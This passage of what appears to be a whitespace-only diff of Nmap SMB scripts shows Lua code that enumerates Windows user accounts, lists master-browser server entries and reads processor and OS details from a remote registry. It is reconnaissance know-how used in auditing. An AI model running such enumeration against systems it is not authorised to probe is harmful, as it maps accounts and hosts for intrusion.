-- Copy the returned array into the names[] table
|
||||
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
|
||||
for i = 1, #lsa_result, 1 do
|
||||
if(lsa_result[i]['name'] ~= nil) then
|
||||
-- Check if the name already exists
|
||||
if(not(names_lookup[lsa_result[i]['name']])) then
|
||||
table.insert(names, lsa_result[i])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
-- Try enumerating through LSA.
|
||||
if(do_lsa) then
|
||||
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
|
||||
if(lsa_status) then
|
||||
-- Copy the returned array into the names[] table
|
||||
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result)
|
||||
for i = 1, #lsa_result, 1 do
|
||||
if(lsa_result[i]['name'] ~= nil) then
|
||||
-- Check if the name already exists
|
||||
if(not(names_lookup[lsa_result[i]['name']])) then
|
||||
table.insert(names, lsa_result[i])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
-- Check if both failed
|
||||
if(samr_status == false and lsa_status == false) then
|
||||
if(string.find(lsa_result, 'ACCESS_DENIED')) then
|
||||
return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
|
||||
end
|
||||
-- Check if both failed
|
||||
if(samr_status == false and lsa_status == false) then
|
||||
if(string.find(lsa_result, 'ACCESS_DENIED')) then
|
||||
return stdnse.format_output(false, "Access denied while trying to enumerate users; except against Windows 2000, Guest or better is typically required")
|
||||
end
|
||||
|
||||
return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
|
||||
end
|
||||
return stdnse.format_output(false, {"Couldn't enumerate users", "SAMR returned " .. samr_result, "LSA returned " .. lsa_result})
|
||||
end
|
||||
|
||||
-- Sort them
|
||||
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
|
||||
-- Sort them
|
||||
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
|
||||
|
||||
-- Break them out by domain
|
||||
local domains = {}
|
||||
for _, name in ipairs(names) do
|
||||
local domain = name['domain']
|
||||
-- Break them out by domain
|
||||
local domains = {}
|
||||
for _, name in ipairs(names) do
|
||||
local domain = name['domain']
|
||||
|
||||
-- Make sure the entry in the domains table exists
|
||||
if(not(domains[domain])) then
|
||||
domains[domain] = {}
|
||||
end
|
||||
-- Make sure the entry in the domains table exists
|
||||
if(not(domains[domain])) then
|
||||
domains[domain] = {}
|
||||
end
|
||||
|
||||
table.insert(domains[domain], name)
|
||||
end
|
||||
table.insert(domains[domain], name)
|
||||
end
|
||||
|
||||
-- Check if we actually got any names back
|
||||
if(#names == 0) then
|
||||
table.insert(response, "Couldn't find any account names, sorry!")
|
||||
else
|
||||
-- If we're not verbose, just print out the names. Otherwise, print out everything we can
|
||||
if(nmap.verbosity() < 1) then
|
||||
for domain, domain_users in pairs(domains) do
|
||||
-- Make an impromptu list of users
|
||||
local names = {}
|
||||
for _, info in ipairs(domain_users) do
|
||||
table.insert(names, info['name'])
|
||||
end
|
||||
-- Check if we actually got any names back
|
||||
if(#names == 0) then
|
||||
table.insert(response, "Couldn't find any account names, sorry!")
|
||||
else
|
||||
-- If we're not verbose, just print out the names. Otherwise, print out everything we can
|
||||
if(nmap.verbosity() < 1) then
|
||||
for domain, domain_users in pairs(domains) do
|
||||
-- Make an impromptu list of users
|
||||
local names = {}
|
||||
for _, info in ipairs(domain_users) do
|
||||
table.insert(names, info['name'])
|
||||
end
|
||||
|
||||
-- Add this domain to the response
|
||||
table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
|
||||
end
|
||||
else
|
||||
for domain, domain_users in pairs(domains) do
|
||||
for _, info in ipairs(domain_users) do
|
||||
local response_part = {}
|
||||
response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
|
||||
-- Add this domain to the response
|
||||
table.insert(response, string.format("Domain: %s; Users: %s", domain, stdnse.strjoin(", ", names)))
|
||||
end
|
||||
else
|
||||
for domain, domain_users in pairs(domains) do
|
||||
for _, info in ipairs(domain_users) do
|
||||
local response_part = {}
|
||||
response_part['name'] = string.format("%s\\%s (RID: %d)", domain, info['name'], info['rid'])
|
||||
|
||||
if(info['fullname']) then
|
||||
table.insert(response_part, string.format("Full name: %s", info['fullname']))
|
||||
end
|
||||
if(info['description']) then
|
||||
table.insert(response_part, string.format("Description: %s", info['description']))
|
||||
end
|
||||
if(info['flags']) then
|
||||
table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
|
||||
end
|
||||
if(info['fullname']) then
|
||||
table.insert(response_part, string.format("Full name: %s", info['fullname']))
|
||||
end
|
||||
if(info['description']) then
|
||||
table.insert(response_part, string.format("Description: %s", info['description']))
|
||||
end
|
||||
if(info['flags']) then
|
||||
table.insert(response_part, string.format("Flags: %s", stdnse.strjoin(", ", info['flags'])))
|
||||
end
|
||||
|
||||
table.insert(response, response_part)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
table.insert(response, response_part)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
@@ -42,13 +42,13 @@ Queries information managed by the Windows Master Browser.
|
||||
-- |_ WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
|
||||
--
|
||||
-- @args smb-mbenum.format (optional) if set, changes the format of the result
|
||||
-- returned by the script. There are three possible formats:
|
||||
-- 1. Ordered by type horizontally
|
||||
-- 2. Ordered by type vertically
|
||||
-- 3. Ordered by type vertically with details (default)
|
||||
-- returned by the script. There are three possible formats:
|
||||
-- 1. Ordered by type horizontally
|
||||
-- 2. Ordered by type vertically
|
||||
-- 3. Ordered by type vertically with details (default)
|
||||
--
|
||||
-- @args smb-mbenum.filter (optional) if set, queries the browser for a
|
||||
-- specific type of server (@see ServerTypes)
|
||||
-- specific type of server (@see ServerTypes)
|
||||
--
|
||||
-- @args smb-mbenum.domain (optional) if not specified, lists the domain of the queried browser
|
||||
--
|
||||
@@ -67,167 +67,167 @@ hostrule = function(host) return smb.get_port(host) ~= nil end
|
||||
local function log(msg) stdnse.print_debug(3, msg) end
|
||||
|
||||
ServerTypes = {
|
||||
SV_TYPE_WORKSTATION = 0x00000001,
|
||||
SV_TYPE_SERVER = 0x00000002,
|
||||
SV_TYPE_SQLSERVER = 0x00000004,
|
||||
SV_TYPE_DOMAIN_CTRL = 0x00000008,
|
||||
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
|
||||
SV_TYPE_TIME_SOURCE = 0x00000020,
|
||||
SV_TYPE_AFP = 0x00000040,
|
||||
SV_TYPE_NOVELL = 0x00000080,
|
||||
SV_TYPE_DOMAIN_MEMBER = 0x00000100,
|
||||
SV_TYPE_PRINTQ_SERVER = 0x00000200,
|
||||
SV_TYPE_DIALIN_SERVER = 0x00000400,
|
||||
SV_TYPE_SERVER_UNIX = 0x00000800,
|
||||
SV_TYPE_NT = 0x00001000,
|
||||
SV_TYPE_WFW = 0x00002000,
|
||||
SV_TYPE_SERVER_MFPN = 0x00004000,
|
||||
SV_TYPE_SERVER_NT = 0x00008000,
|
||||
SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
|
||||
SV_TYPE_BACKUP_BROWSER = 0x00020000,
|
||||
SV_TYPE_MASTER_BROWSER = 0x00040000,
|
||||
SV_TYPE_DOMAIN_MASTER = 0x00080000,
|
||||
SV_TYPE_WINDOWS = 0x00400000,
|
||||
SV_TYPE_DFS = 0x00800000,
|
||||
SV_TYPE_CLUSTER_NT = 0x01000000,
|
||||
SV_TYPE_TERMINALSERVER = 0x02000000,
|
||||
SV_TYPE_CLUSTER_VS_NT = 0x04000000,
|
||||
SV_TYPE_DCE = 0x10000000,
|
||||
SV_TYPE_ALTERNATE_XPORT = 0x20000000,
|
||||
SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
|
||||
SV_TYPE_DOMAIN_ENUM = 0x80000000,
|
||||
SV_TYPE_ALL = 0xFFFFFFFF
|
||||
SV_TYPE_WORKSTATION = 0x00000001,
|
||||
SV_TYPE_SERVER = 0x00000002,
|
||||
SV_TYPE_SQLSERVER = 0x00000004,
|
||||
SV_TYPE_DOMAIN_CTRL = 0x00000008,
|
||||
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
|
||||
SV_TYPE_TIME_SOURCE = 0x00000020,
|
||||
SV_TYPE_AFP = 0x00000040,
|
||||
SV_TYPE_NOVELL = 0x00000080,
|
||||
SV_TYPE_DOMAIN_MEMBER = 0x00000100,
|
||||
SV_TYPE_PRINTQ_SERVER = 0x00000200,
|
||||
SV_TYPE_DIALIN_SERVER = 0x00000400,
|
||||
SV_TYPE_SERVER_UNIX = 0x00000800,
|
||||
SV_TYPE_NT = 0x00001000,
|
||||
SV_TYPE_WFW = 0x00002000,
|
||||
SV_TYPE_SERVER_MFPN = 0x00004000,
|
||||
SV_TYPE_SERVER_NT = 0x00008000,
|
||||
SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
|
||||
SV_TYPE_BACKUP_BROWSER = 0x00020000,
|
||||
SV_TYPE_MASTER_BROWSER = 0x00040000,
|
||||
SV_TYPE_DOMAIN_MASTER = 0x00080000,
|
||||
SV_TYPE_WINDOWS = 0x00400000,
|
||||
SV_TYPE_DFS = 0x00800000,
|
||||
SV_TYPE_CLUSTER_NT = 0x01000000,
|
||||
SV_TYPE_TERMINALSERVER = 0x02000000,
|
||||
SV_TYPE_CLUSTER_VS_NT = 0x04000000,
|
||||
SV_TYPE_DCE = 0x10000000,
|
||||
SV_TYPE_ALTERNATE_XPORT = 0x20000000,
|
||||
SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
|
||||
SV_TYPE_DOMAIN_ENUM = 0x80000000,
|
||||
SV_TYPE_ALL = 0xFFFFFFFF
|
||||
}
|
||||
|
||||
TypeNames = {
|
||||
SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
|
||||
SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
|
||||
SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
|
||||
SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
|
||||
SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
|
||||
SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
|
||||
SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
|
||||
SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
|
||||
SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
|
||||
SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
|
||||
SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
|
||||
SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
|
||||
SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
|
||||
SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
|
||||
SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
|
||||
SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
|
||||
SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
|
||||
SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
|
||||
SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
|
||||
SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
|
||||
SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
|
||||
SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
|
||||
SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
|
||||
SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
|
||||
SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
|
||||
SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
|
||||
SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
|
||||
SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
|
||||
SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
|
||||
SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
|
||||
SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
|
||||
SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
|
||||
SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
|
||||
SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
|
||||
SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
|
||||
SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
|
||||
SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
|
||||
SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
|
||||
SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
|
||||
SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
|
||||
SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
|
||||
SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
|
||||
SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
|
||||
SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
|
||||
SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
|
||||
SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
|
||||
}
|
||||
|
||||
OutputFormat = {
|
||||
BY_TYPE_H = 1,
|
||||
BY_TYPE_V = 2,
|
||||
BY_TYPE_V_DETAILED = 3,
|
||||
BY_TYPE_H = 1,
|
||||
BY_TYPE_V = 2,
|
||||
BY_TYPE_V_DETAILED = 3,
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, smbstate = smb.start(host)
|
||||
local err, entries
|
||||
local path = ("\\\\%s\\IPC$"):format(host.ip)
|
||||
local detail_level = 1
|
||||
local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
|
||||
local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
|
||||
local domain = stdnse.get_script_args("smb-mbenum.domain")
|
||||
local status, smbstate = smb.start(host)
|
||||
local err, entries
|
||||
local path = ("\\\\%s\\IPC$"):format(host.ip)
|
||||
local detail_level = 1
|
||||
local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
|
||||
local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
|
||||
local domain = stdnse.get_script_args("smb-mbenum.domain")
|
||||
|
||||
filter = tonumber(filter) or ServerTypes[filter]
|
||||
format = tonumber(format)
|
||||
filter = tonumber(filter) or ServerTypes[filter]
|
||||
format = tonumber(format)
|
||||
|
||||
if ( not(filter) ) then
|
||||
return "\n The argument smb-mbenum.filter contained an invalid value."
|
||||
end
|
||||
if ( not(filter) ) then
|
||||
return "\n The argument smb-mbenum.filter contained an invalid value."
|
||||
end
|
||||
|
||||
if ( not(format) ) then
|
||||
return "\n The argument smb-mbenum.format contained an invalid value."
|
||||
end
|
||||
if ( not(format) ) then
|
||||
return "\n The argument smb-mbenum.format contained an invalid value."
|
||||
end
|
||||
|
||||
status, err = smb.negotiate_protocol(smbstate, {})
|
||||
if ( not(status) ) then
|
||||
log("ERROR: smb.negotiate_protocol failed")
|
||||
return "\n ERROR: Failed to connect to browser service"
|
||||
end
|
||||
status, err = smb.negotiate_protocol(smbstate, {})
|
||||
if ( not(status) ) then
|
||||
log("ERROR: smb.negotiate_protocol failed")
|
||||
return "\n ERROR: Failed to connect to browser service"
|
||||
end
|
||||
|
||||
status, err = smb.start_session(smbstate, {})
|
||||
if ( not(status) ) then
|
||||
log("ERROR: smb.negotiate_protocol failed")
|
||||
return "\n ERROR: Failed to connect to browser service"
|
||||
end
|
||||
status, err = smb.start_session(smbstate, {})
|
||||
if ( not(status) ) then
|
||||
log("ERROR: smb.negotiate_protocol failed")
|
||||
return "\n ERROR: Failed to connect to browser service"
|
||||
end
|
||||
|
||||
status, err = smb.tree_connect(smbstate, path, {})
|
||||
if ( not(status) ) then
|
||||
log("ERROR: smb.negotiate_protocol failed")
|
||||
return "\n ERROR: Failed to connect to browser service"
|
||||
end
|
||||
status, err = smb.tree_connect(smbstate, path, {})
|
||||
if ( not(status) ) then
|
||||
log("ERROR: smb.negotiate_protocol failed")
|
||||
return "\n ERROR: Failed to connect to browser service"
|
||||
end
|
||||
|
||||
status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
|
||||
if ( not(status) ) then
|
||||
log("ERROR: msrpc.call_lanmanapi failed")
|
||||
return "\n ERROR: " .. entries
|
||||
end
|
||||
status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
|
||||
if ( not(status) ) then
|
||||
log("ERROR: msrpc.call_lanmanapi failed")
|
||||
return "\n ERROR: " .. entries
|
||||
end
|
||||
|
||||
status, err = smb.tree_disconnect(smbstate)
|
||||
if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
|
||||
status, err = smb.tree_disconnect(smbstate)
|
||||
if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
|
||||
|
||||
status, err = smb.logoff(smbstate)
|
||||
if ( not(status) ) then log("ERROR: smb.logoff failed") end
|
||||
status, err = smb.logoff(smbstate)
|
||||
if ( not(status) ) then log("ERROR: smb.logoff failed") end
|
||||
|
||||
status, err = smb.stop(smbstate)
|
||||
if ( not(status) ) then log("ERROR: smb.stop failed") end
|
||||
status, err = smb.stop(smbstate)
|
||||
if ( not(status) ) then log("ERROR: smb.stop failed") end
|
||||
|
||||
local results, output = {}, {}
|
||||
for k, _ in pairs(ServerTypes) do
|
||||
for _, server in ipairs(entries) do
|
||||
if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then
|
||||
results[TypeNames[k].long] = results[TypeNames[k].long] or {}
|
||||
if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
|
||||
table.insert(results[TypeNames[k].long], server)
|
||||
else
|
||||
table.insert(results[TypeNames[k].long], server.name)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
local results, output = {}, {}
|
||||
for k, _ in pairs(ServerTypes) do
|
||||
for _, server in ipairs(entries) do
|
||||
if ( TypeNames[k] and bit.band(server.type,ServerTypes[k]) == ServerTypes[k] ) then
|
||||
results[TypeNames[k].long] = results[TypeNames[k].long] or {}
|
||||
if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
|
||||
table.insert(results[TypeNames[k].long], server)
|
||||
else
|
||||
table.insert(results[TypeNames[k].long], server.name)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if ( format == OutputFormat.BY_TYPE_H ) then
|
||||
for k, v in pairs(results) do
|
||||
local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) )
|
||||
table.insert(output, row)
|
||||
end
|
||||
table.sort(output)
|
||||
elseif( format == OutputFormat.BY_TYPE_V ) then
|
||||
for k, v in pairs(results) do
|
||||
v.name = k
|
||||
table.insert(output, v)
|
||||
end
|
||||
table.sort(output, function(a,b) return a.name < b.name end)
|
||||
elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
|
||||
for k, v in pairs(results) do
|
||||
local cat_tab = tab.new(3)
|
||||
table.sort(v, function(a,b) return a.name < b.name end )
|
||||
for _, server in pairs(v) do
|
||||
tab.addrow(
|
||||
cat_tab,
|
||||
server.name,
|
||||
("%d.%d"):format(server.version.major,server.version.minor),
|
||||
server.comment
|
||||
)
|
||||
end
|
||||
table.insert(output, { name = k, tab.dump(cat_tab) } )
|
||||
end
|
||||
table.sort(output, function(a,b) return a.name < b.name end)
|
||||
end
|
||||
if ( format == OutputFormat.BY_TYPE_H ) then
|
||||
for k, v in pairs(results) do
|
||||
local row = ("%s: %s"):format( k, stdnse.strjoin(",", v) )
|
||||
table.insert(output, row)
|
||||
end
|
||||
table.sort(output)
|
||||
elseif( format == OutputFormat.BY_TYPE_V ) then
|
||||
for k, v in pairs(results) do
|
||||
v.name = k
|
||||
table.insert(output, v)
|
||||
end
|
||||
table.sort(output, function(a,b) return a.name < b.name end)
|
||||
elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
|
||||
for k, v in pairs(results) do
|
||||
local cat_tab = tab.new(3)
|
||||
table.sort(v, function(a,b) return a.name < b.name end )
|
||||
for _, server in pairs(v) do
|
||||
tab.addrow(
|
||||
cat_tab,
|
||||
server.name,
|
||||
("%d.%d"):format(server.version.major,server.version.minor),
|
||||
server.comment
|
||||
)
|
||||
end
|
||||
table.insert(output, { name = k, tab.dump(cat_tab) } )
|
||||
end
|
||||
table.sort(output, function(a,b) return a.name < b.name end)
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, output)
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
@@ -61,7 +61,7 @@ dependencies = {"smb-brute"}
|
||||
-- TODO: This script needs some love
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
---Retrieves the requested value from the registry.
|
||||
@@ -72,178 +72,178 @@ end
|
||||
--@return Status (true or false).
|
||||
--@return The value (if status is true) or an error string (if status is false).
|
||||
local function reg_get_value(smbstate, handle, key, value)
|
||||
-- Open the key
|
||||
local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
|
||||
if(status == false) then
|
||||
return false, openkey_result
|
||||
end
|
||||
-- Open the key
|
||||
local status, openkey_result = msrpc.winreg_openkey(smbstate, handle, key)
|
||||
if(status == false) then
|
||||
return false, openkey_result
|
||||
end
|
||||
|
||||
-- Query the value
|
||||
local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
|
||||
if(status == false) then
|
||||
return false, queryvalue_result
|
||||
end
|
||||
-- Query the value
|
||||
local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openkey_result['handle'], value)
|
||||
if(status == false) then
|
||||
return false, queryvalue_result
|
||||
end
|
||||
|
||||
-- Close the key
|
||||
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
|
||||
if(status == false) then
|
||||
return false, closekey_result
|
||||
end
|
||||
-- Close the key
|
||||
local status, closekey_result = msrpc.winreg_closekey(smbstate, openkey_result['handle'], value)
|
||||
if(status == false) then
|
||||
return false, closekey_result
|
||||
end
|
||||
|
||||
return true, queryvalue_result['value']
|
||||
return true, queryvalue_result['value']
|
||||
end
|
||||
|
||||
local function get_info_registry(host)
|
||||
|
||||
local result = {}
|
||||
local result = {}
|
||||
|
||||
-- Create the SMB session
|
||||
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
|
||||
if(status == false) then
|
||||
return false, smbstate
|
||||
end
|
||||
-- Create the SMB session
|
||||
local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
|
||||
if(status == false) then
|
||||
return false, smbstate
|
||||
end
|
||||
|
||||
-- Bind to WINREG service
|
||||
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
return false, bind_result
|
||||
end
|
||||
-- Bind to WINREG service
|
||||
local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
return false, bind_result
|
||||
end
|
||||
|
||||
-- Open HKEY_LOCAL_MACHINE
|
||||
local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
return false, openhklm_result
|
||||
end
|
||||
-- Open HKEY_LOCAL_MACHINE
|
||||
local status, openhklm_result = msrpc.winreg_openhklm(smbstate)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
return false, openhklm_result
|
||||
end
|
||||
|
||||
-- Processor information
|
||||
result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
|
||||
if(result['status-number_of_processors'] == false) then
|
||||
result['number_of_processors'] = 0
|
||||
end
|
||||
result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
|
||||
result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
|
||||
result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
|
||||
result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
|
||||
result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
|
||||
result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
|
||||
-- Processor information
|
||||
result['status-number_of_processors'], result['number_of_processors'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "NUMBER_OF_PROCESSORS")
|
||||
if(result['status-number_of_processors'] == false) then
|
||||
result['number_of_processors'] = 0
|
||||
end
|
||||
result['status-os'], result['os'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "OS")
|
||||
result['status-path'], result['path'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "Path")
|
||||
result['status-processor_architecture'], result['processor_architecture'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_ARCHITECTURE")
|
||||
result['status-processor_identifier'], result['processor_identifier'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_IDENTIFIER")
|
||||
result['status-processor_level'], result['processor_level'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_LEVEL")
|
||||
result['status-processor_revision'], result['processor_revision'] = reg_get_value(smbstate, openhklm_result['handle'], "SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", "PROCESSOR_REVISION")
|
||||
|
||||
-- remove trailing zero terminator
|
||||
local num_procs = result['number_of_processors']:match("^[^%z]*")
|
||||
-- remove trailing zero terminator
|
||||
local num_procs = result['number_of_processors']:match("^[^%z]*")
|
||||
|
||||
for i = 0, tonumber(num_procs) - 1, 1 do
|
||||
result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
|
||||
result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
|
||||
result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
|
||||
result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
|
||||
end
|
||||
-- status, result['physicalmemory'] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\ResourceMap\\System Resources\\Physical Memory", ".Translated")
|
||||
for i = 0, tonumber(num_procs) - 1, 1 do
|
||||
result['status-~mhz'..i], result['~mhz' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "~MHz")
|
||||
result['status-identifier'..i], result['identifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "Identifier")
|
||||
result['status-processornamestring'..i], result['processornamestring' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "ProcessorNameString")
|
||||
result['status-vendoridentifier'..i], result['vendoridentifier' .. i] = reg_get_value(smbstate, openhklm_result['handle'], "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\" .. i, "VendorIdentifier")
|
||||
end
|
||||
